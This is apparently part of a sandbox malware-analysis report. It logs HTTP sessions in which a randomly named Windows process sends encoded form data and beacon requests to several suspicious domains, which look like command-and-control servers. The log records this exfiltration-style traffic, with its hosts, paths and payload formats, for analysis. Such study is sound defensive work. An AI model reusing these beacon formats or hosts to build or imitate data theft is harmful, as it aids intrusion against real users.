Aug 18, 2024 18:26:55.734154940 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Sun, 18 Aug 2024 16:26:55 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close
Aug 18, 2024 18:26:55.739684105 CEST	559	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	54146	35.241.42.217	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:57.592564106 CEST	438	OUT	GET /zjwj/?dZo=nHLCZn8vN2ArVDTu2n5oID6vRNbj9hrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZXyXWPQEhmyBEuX+CqEarOAabuvO7hw==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:26:58.234942913 CEST	300	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Sun, 18 Aug 2024 16:26:58 GMT Content-Type: text/html Content-Length: 5161 Last-Modified: Mon, 15 Jan 2024 02:08:28 GMT Vary: Accept-Encoding ETag: "65a4939c-1429" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close
Aug 18, 2024 18:26:58.248225927 CEST	1236	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true
Aug 18, 2024 18:26:58.248235941 CEST	1236	IN	Data Raw: 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 65 70 6f 72 74 4c 6f 61 64 69 6e 67 28 6e 29 7b 6e 3d 6e 7c 7c 7b 7d 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 28 77 69 6e 64 6f Data Ascii: w Image).src=n}function reportLoading(n){n=n\|\|{};var o=function(){for(var n=(window.location.search.substr(1)\|\|"").split("&"),o={},e=0;e<n.length;e++){var r=n[e].split("=");o[r[0]]=r[1]}return function(){return o}}();function e(){var n=window.
Aug 18, 2024 18:26:58.248260975 CEST	1236	IN	Data Raw: 74 72 3d 64 73 66 72 70 66 76 65 64 6e 63 70 73 73 6e 74 6e 77 62 69 70 72 65 69 6d 65 75 74 73 76 22 29 3b 28 65 28 29 7c 7c 72 28 29 29 26 26 22 61 6e 64 72 6f 69 64 22 3d 3d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f Data Ascii: tr=dsfrpfvedncpssntnwbipreimeutsv");(e()\|\|r())&&"android"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android":n.match(/ios/i)\|\|n.match(/ipad/i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/ap
Aug 18, 2024 18:26:58.248270035 CEST	1236	IN	Data Raw: 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 61 67 65 6e 63 79 2f 76 63 6f 6e 73 6f 6c 65 2e 6d 69 6e 2d 33 2e 33 2e 30 2e 6a 73 22 29 2c 24 68 65 61 64 2e 69 6e 73 65 72 Data Ascii: ("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("crossorigin","anonymous"),e.setAttribute("src
Aug 18, 2024 18:26:58.248286009 CEST	217	IN	Data Raw: e6 b2 a1 e6 9c 89 e5 b9 bf e5 91 8a 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 94 b5 e5 bd b1 e6 92 ad e6 94 be e4 b8 8d e5 8d a1 e9 a1 bf 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 b2 be e5 bd a9 e8 a7 86 e9 a2 91 e5 ad 98 e5 85 a5 e7 bd 91 e7 9b 98 e9 9a 8f Data Ascii: </div><div></div><div></div></div><script src="https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	54147	76.223.67.189	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:03.377296925 CEST	710	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 71 6c 4f 4a 31 64 44 33 35 49 42 78 63 4d 4b 7a 30 4c 75 68 42 46 67 4e 63 43 6c 47 62 56 4d 7a 64 6e 71 6f 43 39 77 78 66 53 77 47 2b 6b 72 53 4f 7a 38 62 4e 57 58 34 55 53 65 45 42 65 6d 6b 4c 77 5a 37 50 68 4d 5a 34 5a 55 50 49 57 6f 50 4c 46 35 78 73 74 51 34 7a 6b 34 59 39 39 68 6e 4d 52 73 43 4b 2b 74 54 6c 43 44 58 6e 4d 42 59 2f 77 4a 45 73 47 79 71 46 64 77 47 6b 36 38 79 5a 73 49 50 39 31 7a 5a 49 4a 43 69 6c 65 68 6b 4e 6b 4d 57 67 4e 69 58 43 44 52 71 42 79 55 34 67 6d 32 4b 4c 63 59 67 32 4e 4f 62 66 7a 36 77 Data Ascii: dZo=7PZJRSXxbWSlqlOJ1dD35IBxcMKz0LuhBFgNcClGbVMzdnqoC9wxfSwG+krSOz8bNWX4USeEBemkLwZ7PhMZ4ZUPIWoPLF5xstQ4zk4Y99hnMRsCK+tTlCDXnMBY/wJEsGyqFdwGk68yZsIP91zZIJCilehkNkMWgNiXCDRqByU4gm2KLcYg2NObfz6w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	54148	76.223.67.189	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:05.989432096 CEST	734	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 72 46 65 4a 32 2b 72 33 38 6f 42 2b 5a 4d 4b 7a 37 72 76 4a 42 46 38 4e 63 41 4a 76 59 6e 6f 7a 64 47 61 6f 42 38 77 78 59 53 77 47 6d 30 72 54 42 54 39 5a 4e 57 4c 77 55 54 69 45 42 66 43 6b 4c 31 64 37 49 53 6b 65 34 4a 55 4e 44 32 6f 42 47 6c 35 78 73 74 51 34 7a 6b 38 6d 39 39 70 6e 4d 67 38 43 4c 62 5a 55 35 53 44 51 67 4d 42 59 37 77 4a 49 73 47 79 45 46 59 6f 34 6b 35 49 79 5a 74 34 50 39 42 6e 61 43 4a 44 6e 36 75 67 42 65 6b 56 6e 75 66 66 4e 4a 46 52 7a 44 68 49 42 6a 48 57 55 61 75 52 37 6a 61 4f 38 59 55 7a 59 2f 49 77 62 77 38 43 49 67 4a 66 73 59 47 45 54 78 50 45 39 72 41 3d 3d Data Ascii: dZo=7PZJRSXxbWSlrFeJ2+r38oB+ZMKz7rvJBF8NcAJvYnozdGaoB8wxYSwGm0rTBT9ZNWLwUTiEBfCkL1d7ISke4JUND2oBGl5xstQ4zk8m99pnMg8CLbZU5SDQgMBY7wJIsGyEFYo4k5IyZt4P9BnaCJDn6ugBekVnuffNJFRzDhIBjHWUauR7jaO8YUzY/Iwbw8CIgJfsYGETxPE9rA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	54149	76.223.67.189	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:08.529903889 CEST	1747	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 72 46 65 4a 32 2b 72 33 38 6f 42 2b 5a 4d 4b 7a 37 72 76 4a 42 46 38 4e 63 41 4a 76 59 6e 67 7a 64 77 4f 6f 44 66 49 78 5a 53 77 47 34 6b 72 65 42 54 39 59 4e 57 54 30 55 54 75 55 42 63 71 6b 61 6a 68 37 4e 6a 6b 65 33 4a 55 4e 4d 57 6f 41 4c 46 34 31 73 74 67 38 7a 6c 4d 6d 39 39 70 6e 4d 69 55 43 4d 4f 74 55 37 53 44 58 6e 4d 42 55 2f 77 4a 73 73 43 6d 79 46 59 6b 6f 6b 4b 51 79 5a 4f 41 50 75 69 50 61 66 35 44 70 37 75 67 6a 65 6b 70 38 75 66 43 38 4a 46 4e 4a 44 68 77 42 6a 44 66 4d 66 50 6c 6a 39 71 4f 57 59 55 69 2b 38 50 77 37 78 4e 76 72 6e 63 2f 38 4f 44 78 6d 77 4c 56 52 6f 33 36 63 68 70 36 31 5a 69 69 42 43 50 53 69 6e 34 6f 33 37 65 54 4a 65 2b 63 6e 7a 54 4d 63 4c 32 4e 52 72 49 6e 55 71 2f 62 73 4a 78 4b 61 61 33 30 61 58 75 2f 43 33 30 34 52 46 66 36 30 50 44 33 35 7a 66 4f 49 7a 69 6b 73 69 55 42 66 67 79 53 5a 30 62 48 30 53 32 55 46 73 43 7a 44 46 30 6a 64 71 77 49 68 55 39 36 56 42 79 79 52 54 53 75 72 54 36 79 67 2f 53 35 6d 50 62 [TRUNCATED] Data Ascii: dZo=7PZJRSXxbWSlrFeJ2+r38oB+ZMKz7rvJBF8NcAJvYngzdwOoDfIxZSwG4kreBT9YNWT0UTuUBcqkajh7Njke3JUNMWoALF41stg8zlMm99pnMiUCMOtU7SDXnMBU/wJssCmyFYkokKQyZOAPuiPaf5Dp7ugjekp8ufC8JFNJDhwBjDfMfPlj9qOWYUi+8Pw7xNvrnc/8ODxmwLVRo36chp61ZiiBCPSin4o37eTJe+cnzTMcL2NRrInUq/bsJxKaa30aXu/C304RFf60PD35zfOIziksiUBfgySZ0bH0S2UFsCzDF0jdqwIhU96VByyRTSurT6yg/S5mPbcyV5hMV1f7TZ5vXI2tpgD1nEFOKWt1zN+CjkcrrSyD0kuQWTutsZLGCdLgVX/+mVlv0BJcYUVrgZpS0IDsVzfBZ87nqb14QjthtcXgw8ttvr9TzbGG0dOlLd5McJLvGSWiXfzZJVJZwELBcBeeaQprkb9ufaTGgPmz9w1D7yEpIOzFm+TRIjomyODDuRpnWLahwJ+U/yCXiczTPiwtTK7cr5r8YjdPwmSrS2oh0C3JNdpxMQOuZ9/ixcyyoSvCjfV0NfkSaXvF9jqyBnKtGyTdtlcd7skSCIT2FjKQ83fAnVHc3/wxWmqAPAYXgLeobV6aXqaAbPbNpSX/9NWSygo+qA5uMjp27a/IhRIhnHLTVfrJH6WioLAH/+U7My5GLp65SQGK8lF7aMgfNC8jOoGPcrJyKb162puCh9FI+EduOUtOD7MT4psy0TbK9MkIaj5Mx7NNZ69eK0n/uEKZm1P2DBH1iU0FqBTEXuEN9QGJ5R7YqXOi7b5y+lXOGEIGzHTzOruSQLcoRDHfLjnxUCHcwQnHKe5qJW56THMRNkliivz83eAnug2ovZZnDMEHJGCeB6jvyeanqczsmL97S2DmBa2cbdY+Q9cD1yJlQWPUzLfB9vlZ9SwwC38a37bfL1aRpkLAEYOgbtzFQc/V2lOx4ruWpkBFhqrt [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	54150	76.223.67.189	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:11.067992926 CEST	443	OUT	GET /l2ei/?dZo=2NxpSnefRSOpgA+Cw+nYyIA+NZzll6fiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINn5BMEGgIAwhvnt05vUIz6811FQIGXw==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:27:11.524272919 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 18 Aug 2024 16:27:11 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 5a 6f 3d 32 4e 78 70 53 6e 65 66 52 53 4f 70 67 41 2b 43 77 2b 6e 59 79 49 41 2b 4e 5a 7a 6c 6c 36 66 69 4c 6d 4d 5a 58 6a 70 66 65 48 67 75 61 77 61 56 59 4f 4d 68 65 68 51 7a 77 79 58 4a 53 6e 35 64 4e 56 33 70 61 78 43 6b 4c 66 71 44 57 54 39 79 4c 78 49 4e 6e 35 42 4d 45 47 67 49 41 77 68 76 6e 74 30 35 76 55 49 7a 36 38 31 31 46 51 49 47 58 77 3d 3d 26 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dZo=2NxpSnefRSOpgA+Cw+nYyIA+NZzll6fiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINn5BMEGgIAwhvnt05vUIz6811FQIGXw==&gta=rzqXf4A02FEl_8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	54151	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:25.135858059 CEST	692	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 36 36 45 48 54 39 37 7a 59 71 75 35 66 30 49 57 68 37 31 43 51 39 56 65 38 45 6a 61 49 62 66 72 6f 50 50 38 41 4e 58 4e 73 77 38 72 33 36 6d 38 69 41 73 6c 63 30 74 62 59 54 66 50 61 41 34 76 2f 52 2f 4a 54 56 72 46 4c 76 59 75 35 49 32 63 32 65 31 4a 63 2b 48 62 75 48 77 41 49 67 6a 2b 36 64 7a 6b 55 6f 76 70 61 48 75 4f 69 66 37 67 78 32 78 59 6e 6b 37 71 4e 45 72 39 39 46 4a 42 70 52 58 34 54 39 6a 73 55 2f 58 58 50 50 56 6b 33 76 47 50 71 73 62 50 57 4c 44 70 38 6a 63 48 5a 38 70 53 4b 68 6a 7a 76 53 50 36 54 6e 48 59 51 63 61 4a 30 68 55 4e 51 52 5a 65 Data Ascii: dZo=66EHT97zYqu5f0IWh71CQ9Ve8EjaIbfroPP8ANXNsw8r36m8iAslc0tbYTfPaA4v/R/JTVrFLvYu5I2c2e1Jc+HbuHwAIgj+6dzkUovpaHuOif7gx2xYnk7qNEr99FJBpRX4T9jsU/XXPPVk3vGPqsbPWLDp8jcHZ8pSKhjzvSP6TnHYQcaJ0hUNQRZe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	54152	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:27.675473928 CEST	716	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 36 36 45 48 54 39 37 7a 59 71 75 35 65 56 34 57 6a 63 4a 43 56 64 56 64 7a 6b 6a 61 47 4c 66 56 6f 4f 7a 38 41 4a 48 64 74 43 6f 72 33 59 2b 38 6a 43 55 6c 52 55 74 62 66 6a 66 4b 55 67 34 61 2f 52 37 76 54 51 44 46 4c 76 4d 75 35 4a 47 63 32 74 64 47 64 75 48 56 31 33 77 65 47 41 6a 2b 36 64 7a 6b 55 6f 71 2b 61 48 32 4f 69 76 72 67 79 58 78 62 75 45 36 59 45 6b 72 39 35 46 4a 46 70 52 57 76 54 38 2b 35 55 39 66 58 50 4f 46 6b 33 2b 47 49 67 73 62 42 59 72 43 6a 37 51 39 43 42 37 31 39 56 43 2f 49 75 68 66 42 55 47 6e 47 42 75 54 53 68 32 55 71 58 32 51 32 6c 45 42 52 54 6b 68 31 79 43 45 2b 6e 4c 74 76 6c 6e 54 6b 4a 77 3d 3d Data Ascii: dZo=66EHT97zYqu5eV4WjcJCVdVdzkjaGLfVoOz8AJHdtCor3Y+8jCUlRUtbfjfKUg4a/R7vTQDFLvMu5JGc2tdGduHV13weGAj+6dzkUoq+aH2OivrgyXxbuE6YEkr95FJFpRWvT8+5U9fXPOFk3+GIgsbBYrCj7Q9CB719VC/IuhfBUGnGBuTSh2UqX2Q2lEBRTkh1yCE+nLtvlnTkJw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	54153	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:30.222593069 CEST	1729	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 36 36 45 48 54 39 37 7a 59 71 75 35 65 56 34 57 6a 63 4a 43 56 64 56 64 7a 6b 6a 61 47 4c 66 56 6f 4f 7a 38 41 4a 48 64 74 43 77 72 33 4c 32 38 68 6c 34 6c 51 55 74 62 63 6a 66 4c 55 67 34 48 2f 52 44 6a 54 51 47 77 4c 74 30 75 37 76 79 63 2f 38 64 47 54 75 48 56 71 48 77 66 49 67 6a 52 36 64 6a 67 55 6f 36 2b 61 48 32 4f 69 74 6a 67 6b 32 78 62 69 6b 37 71 4e 45 72 68 39 46 4a 39 70 56 43 2f 54 38 36 70 56 4e 2f 58 42 50 31 6b 37 73 2b 49 6f 73 61 6e 62 72 44 32 37 51 78 4a 42 2f 56 41 56 42 6a 69 75 68 58 42 58 68 47 6c 57 4b 50 77 67 6c 56 61 64 30 6b 74 74 77 42 70 52 30 46 30 75 7a 56 65 38 61 4a 35 76 53 37 74 57 4e 49 44 56 68 64 36 75 73 55 33 6f 6e 65 30 38 76 4b 45 36 6f 68 37 65 39 69 59 4b 50 75 2b 43 36 35 6d 56 75 6a 57 4f 47 38 59 34 54 73 67 72 4e 70 4b 68 45 66 54 57 4c 4a 42 6e 64 57 6e 36 76 44 38 68 36 54 71 2f 39 41 48 36 61 79 7a 79 37 65 7a 77 41 64 6e 77 4d 79 41 45 77 4e 67 63 4e 48 71 52 51 68 2b 50 37 69 79 38 62 4f 43 77 35 58 34 55 39 6b 4f 52 6b 39 79 48 6f [TRUNCATED] Data Ascii: dZo=66EHT97zYqu5eV4WjcJCVdVdzkjaGLfVoOz8AJHdtCwr3L28hl4lQUtbcjfLUg4H/RDjTQGwLt0u7vyc/8dGTuHVqHwfIgjR6djgUo6+aH2Oitjgk2xbik7qNErh9FJ9pVC/T86pVN/XBP1k7s+IosanbrD27QxJB/VAVBjiuhXBXhGlWKPwglVad0kttwBpR0F0uzVe8aJ5vS7tWNIDVhd6usU3one08vKE6oh7e9iYKPu+C65mVujWOG8Y4TsgrNpKhEfTWLJBndWn6vD8h6Tq/9AH6ayzy7ezwAdnwMyAEwNgcNHqRQh+P7iy8bOCw5X4U9kORk9yHok3pXadEYti0irnc24LNW9dR1oN8KtX2vYvta6fO0SBRc2OIZ3S/yDeiS6DwWGc3RBq1Ap2zy5L5bCU0gYejr+6XMB0Mv2dL0uiyPJ6FjdMpVKGvwbuVEuVWw3HV6/JUyYjGvWEMqNHm+a6lReotS2l5uzrmRxTBMI3d5DErQr2Ojg/nix5/lU8ioGSbg8G6PpF6do+xteYwBXuXqsGvS20mH4CdrxbA1k86ge8jsnMBAm0EZPHyl/uZ/74or5pTBNIJ9bZ0ZQdZHVCUg/y+MJYmOmN3xRukbw/b+uozNaGd00SWe96CszZLRFr9cGMJOT2xFqDgcLW00zyOqdAhNUYshReD6wtBmeXTAw1RNzZmu+o5Z04YrHsWj9JVYQEzEQZuTKin38WAIH3/377jG6b2LaWIazeH3IfJw+DSt2tb/y4XDd6ylcyVEwIjIUZ4FGWZL/1ZEM9FGnJFTtdYBIi5ipSWHyKQQlj3z3cGKUu4ffu4Up4MnbQkxC2hqrEynMw5bMOhtC3pFtsZSuitijrNKsLWHXv4m4ltI9eGCwIIDUkJV9H+5mZ6gPIJLZ+qPghQjhqTYjP39KY2T3fcqjZ8YF2m2bhFyH+aGmNKjPBXEx5wgtH2q5GEElcsQdeLN1lNdirVlRPPFi83p5giejqkhIxivX1MiXk [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	54154	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:32.762904882 CEST	437	OUT	GET /jda9/?dZo=34snQIO0a+qzYlkumKI+eaAwv3nNcrL7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZNMDgqEYgAwPZ0d7uU4aGTG2kjdzpwg==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	54155	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:27:59.680413008 CEST	692	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 69 63 61 45 74 47 79 59 6d 31 6d 61 35 73 79 53 53 33 41 73 55 7a 38 36 36 6b 4b 64 64 4e 65 45 77 5a 58 70 57 58 43 49 50 48 50 31 6e 58 51 35 63 49 38 38 79 76 65 56 77 47 44 49 78 70 65 6c 68 65 76 35 75 69 35 55 34 62 6c 51 75 42 45 70 6e 59 58 53 66 47 72 53 43 6a 6f 2b 37 37 4f 72 46 6e 59 31 49 55 75 46 5a 58 78 44 71 79 6b 6b 50 35 62 49 67 49 6a 4e 58 4b 7a 6d 43 36 4e 56 35 6e 63 4a 4d 73 57 68 4d 6d 56 6d 79 6e 72 69 37 58 64 4c 44 33 69 39 5a 64 77 51 2f 65 79 59 59 6e 31 41 4a 76 51 5a 51 76 48 77 59 62 57 36 Data Ascii: dZo=LugYlboQcaRDicaEtGyYm1ma5sySS3AsUz866kKddNeEwZXpWXCIPHP1nXQ5cI88yveVwGDIxpelhev5ui5U4blQuBEpnYXSfGrSCjo+77OrFnY1IUuFZXxDqykkP5bIgIjNXKzmC6NV5ncJMsWhMmVmynri7XdLD3i9ZdwQ/eyYYn1AJvQZQvHwYbW6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	54156	116.213.43.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
